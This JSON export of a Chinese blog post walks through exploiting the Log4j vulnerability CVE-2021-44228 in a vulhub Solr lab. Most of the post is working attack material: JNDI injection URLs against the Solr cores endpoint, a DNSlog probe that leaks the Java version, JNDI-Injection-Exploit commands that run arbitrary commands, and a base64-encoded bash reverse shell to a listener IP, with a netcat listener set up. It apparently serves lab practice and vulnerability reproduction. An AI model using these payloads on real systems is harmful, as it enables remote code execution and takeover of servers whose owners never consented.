{"id":1130,"date":"2022-12-05T10:23:30","date_gmt":"2022-12-05T02:23:30","guid":{"rendered":"https:\/\/blog.langsasec.cn\/?p=1130"},"modified":"2022-12-05T10:23:30","modified_gmt":"2022-12-05T02:23:30","slug":"cve-2021-44228%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0","status":"publish","type":"post","link":"https:\/\/blog.langsasec.cn\/index.php\/2022\/12\/05\/cve-2021-44228%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0\/","title":{"rendered":"CVE-2021-44228\u6f0f\u6d1e\u590d\u73b0"},"content":{"rendered":"<h2><span class=\"ez-toc-section\" id=\"%e6%bc%8f%e6%b4%9e%e6%a6%82%e8%bf%b0\"><\/span>\u6f0f\u6d1e\u6982\u8ff0<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Apche log4j\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u5c31\u662f\u53bb\u5e74\u6740\u75af\u4e86\u7684log4j\u6f0f\u6d1e\u3002apache log4j\u901a\u8fc7\u5b9a\u4e49\u6bcf\u4e00\u6761\u65e5\u5fd7\u4fe1\u606f\u7684\u7ea7\u522b\u80fd\u591f\u66f4\u52a0\u7ec6\u81f4\u5730\u63a7\u5236\u65e5\u5fd7\u751f\u6210\u5730\u8fc7\u7a0b\uff0c\u53d7\u5f71\u54cd\u5730\u7248\u672c\u4e2d\u7eaf\u5728JNDI\u6ce8\u5165\u6f0f\u6d1e\uff0c\u5bfc\u81f4\u65e5\u5fd7\u5728\u8bb0\u5f55\u7528\u6237\u8f93\u5165\u5730\u6570\u636e\u65f6\uff0c\u89e6\u53d1\u4e86\u6ce8\u5165\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u53ef\u5bfc\u81f4\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff0c\u4e14\u5229\u7528\u6761\u4ef6\u4f4e\uff0c\u5f71\u54cd\u8303\u56f4\u5e7f\uff0c\u5c0f\u5230\u7f51\u7ad9\uff0c\u5927\u5230\u53ef\u8054\u7f51\u7684\u8f66\u90fd\u53d7\u5f71\u54cd\u3002<\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e9%9d%b6%e5%9c%ba%e7%8e%af%e5%a2%83\"><\/span>\u9776\u573a\u73af\u5883<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"vulhub%e6%90%ad%e5%bb%ba%e5%8f%82%e8%80%83%ef%bc%9a\"><\/span>vulhub\u642d\u5efa\u53c2\u8003\uff1a<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<blockquote>\n<p><a href=\"http:\/\/mp.weixin.qq.com\/s?__biz=MzI1ODM1MjUxMQ==&amp;mid=2247489857&amp;idx=1&amp;sn=a085cbb6af221412751265a656c75d4a&amp;chksm=ea082d51dd7fa4472640fff75a7a1b1d04d3fa24a29f09ee5a4dfecfd27eedb54858ae9c7f00#rd\">Vulnhub \u9776\u573a\u73af\u5883\u642d\u5efa<\/a><\/p>\n<\/blockquote>\n<p>\u8fdb\u5165\u5230vulbub\u9776\u573a\u7684\/vulhub\/log4j\/CVE-2021-44228\u76ee\u5f55<\/p>\n<p>\u4f7f\u7528\u547d\u4ee4\uff1adocker-compose up -d #\u542f\u52a8\u955c\u50cf\uff0c\u6574\u4e2a\u8fc7\u7a0b\u6bd4\u8f83\u4e45\uff0c\u8010\u5fc3\u7b49\u5f85<\/p>\n<p>\u8bbf\u95ee <a href=\"http:\/\/yourip:8983\/solr\/\">http:\/\/yourip:8983\/solr\/<\/a>#\/ \u6210\u529f\u8bbf\u95ee\u5230\u9875\u9762\uff0c\u642d\u5efa\u6210\u529f<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/df68cf4d3c1ccce738ad3db7f61d86520690e3f4.png\" alt=\"image-20221121091205651\" title=\"CVE-2021-44228\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe\" \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e9%aa%8c%e8%af%81%e6%bc%8f%e6%b4%9e%e7%9a%84%e5%ad%98%e5%9c%a8\"><\/span>\u9a8c\u8bc1\u6f0f\u6d1e\u7684\u5b58\u5728<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u4f7f\u7528ceye\u5e73\u53f0\u63a5\u6536dnslog\u4fe1\u606f<\/p>\n<p>\u5e73\u53f0\u94fe\u63a5\uff1a<a href=\"http:\/\/ceye.io\/\">http:\/\/ceye.io\/<\/a><\/p>\n<p><a href=\"http:\/\/192.168.0.140:8983\/solr\/admin\/cores?action=${jndi:ldap:\/\/${sys:java.version}.xxxxx.ceye.io\"><a href=\"http:\/\/192.168.0.140:8983\/solr\/admin\/cores?action=$\" rel=\"nofollow\">http:\/\/192.168.0.140:8983\/solr\/admin\/cores?action=$<\/a>{jndi:ldap:\/\/${sys:java.version}.xxxxx.ceye.io<\/a>}<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/42251fb9a14ca2b88ea2e4c1668aab5964f89ed1.png\" alt=\"image-20221121091229003\" title=\"CVE-2021-44228\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe1\" \/><\/p>\n<p>\u83b7\u53d6\u5230java\u7684\u7248\u672c\uff0c\u8bc1\u660e\u6f0f\u6d1e\u5b58\u5728<\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e5%91%bd%e4%bb%a4%e6%89%a7%e8%a1%8c\"><\/span>\u547d\u4ee4\u6267\u884c<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\uff081\uff09\u5229\u7528JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar\u5de5\u5177\u521b\u5efasuccess\u6587\u4ef6<\/p>\n<p>\u6267\u884cjava -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C &quot;touch \/tmp\/success&quot; -A 192.168.0.1<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/43fa59751ee90958346339808b85ad711c2d6024.png\" alt=\"image-20221121091259543\" title=\"CVE-2021-44228\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe2\" \/><\/p>\n<p>\uff082\uff09\u6839\u636e\u63d0\u793a\u7684\u94fe\u63a5\uff0c\u53bb\u6784\u9020\u94fe\u63a5<\/p>\n<p><a href=\"http:\/\/192.168.0.140:8983\/solr\/admin\/cores?action=${jndi:ldap:\/\/192.168.0.1:1389\/yp1nns\"><a href=\"http:\/\/192.168.0.140:8983\/solr\/admin\/cores?action=$\" rel=\"nofollow\">http:\/\/192.168.0.140:8983\/solr\/admin\/cores?action=$<\/a>{jndi:ldap:\/\/192.168.0.1:1389\/yp1nns<\/a>}<\/p>\n<p>\uff083\uff09\u6210\u529f\u521b\u5efasuccess\u6587\u4ef6<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/8eb0a207263415b427cc6460e9c62b62da623978.png\" alt=\"image-20221121091427854\" title=\"CVE-2021-44228\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe3\" \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e5%8f%8d%e5%bc%b9shell\"><\/span>\u53cd\u5f39shell<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\uff081\uff09\u5f00\u542f\u76d1\u542c\u7aef\u53e3<\/p>\n<p>nc.exe -lvvp 9999<\/p>\n<p>\uff082\uff09\u4f7f\u7528\u5de5\u5177\u6784\u9020\u53cd\u5f39shell<\/p>\n<p>bash -i &gt;&amp; \/dev\/tcp\/192.168.0.1\/9999 0&gt;&amp;1  -&gt;  YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS85OTk5IDA+JjEg #base64\u7f16\u7801<\/p>\n<p>java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C &quot;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS85OTk5IDA+JjEg}|{base64,-d}|{bash,-i}&quot; -A &quot;192.168.0.1&quot;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/ef6167ebd2ebee9d147a2637b9c189c470327e6f.png\" alt=\"image-20221121091321331\" title=\"CVE-2021-44228\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe4\" \/><\/p>\n<p>\u6839\u636e\u63d0\u793a\u7684\u94fe\u63a5\uff0c\u53bb\u6784\u9020\u94fe\u63a5<\/p>\n<p><a href=\"http:\/\/192.168.0.140:8983\/solr\/admin\/cores?action=${jndi:ldap:\/\/192.168.0.1:1389\/bwrcmp\"><a href=\"http:\/\/192.168.0.140:8983\/solr\/admin\/cores?action=$\" rel=\"nofollow\">http:\/\/192.168.0.140:8983\/solr\/admin\/cores?action=$<\/a>{jndi:ldap:\/\/192.168.0.1:1389\/bwrcmp<\/a>}<\/p>\n<p>\u6216<\/p>\n<p><a href=\"http:\/\/192.168.0.140:8983\/solr\/admin\/cores?action=${jndi:ldap:\/\/192.168.0.1:1389\/ymdqtj\"><a href=\"http:\/\/192.168.0.140:8983\/solr\/admin\/cores?action=$\" rel=\"nofollow\">http:\/\/192.168.0.140:8983\/solr\/admin\/cores?action=$<\/a>{jndi:ldap:\/\/192.168.0.1:1389\/ymdqtj<\/a>}<\/p>\n<p>\u5747\u53ef<\/p>\n<p>\u7136\u540e\u7b49\u5f85\u7247\u523b\uff0c\u53cd\u5f39\u6210\u529f<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/d5e46578667ef6d84d354ea1745fd0afe10ec54d.png\" alt=\"image-20221121091331763\" title=\"CVE-2021-44228\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe5\" \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e8%8e%b7%e5%8f%96exp\"><\/span>\u83b7\u53d6exp<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<blockquote>\n<p>\u5173\u6ce8\u6d6a\u98d2sec\u56de\u590d<code>221122<\/code>\u83b7\u53d6exp\u4e0b\u8f7d\u5730\u5740<\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>\u6f0f\u6d1e\u6982\u8ff0 Apche log4j\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u5c31\u662f\u53bb\u5e74\u6740\u75af\u4e86\u7684log4j\u6f0f\u6d1e\u3002apache log4 [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[34],"tags":[],"class_list":["post-1130","post","type-post","status-publish","format-standard","hentry","category-vulfx"],"_links":{"self":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/1130","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/comments?post=1130"}],"version-history":[{"count":1,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/1130\/revisions"}],"predecessor-version":[{"id":1131,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/1130\/revisions\/1131"}],"wp:attachment":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/media?parent=1130"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/categories?post=1130"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/tags?post=1130"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}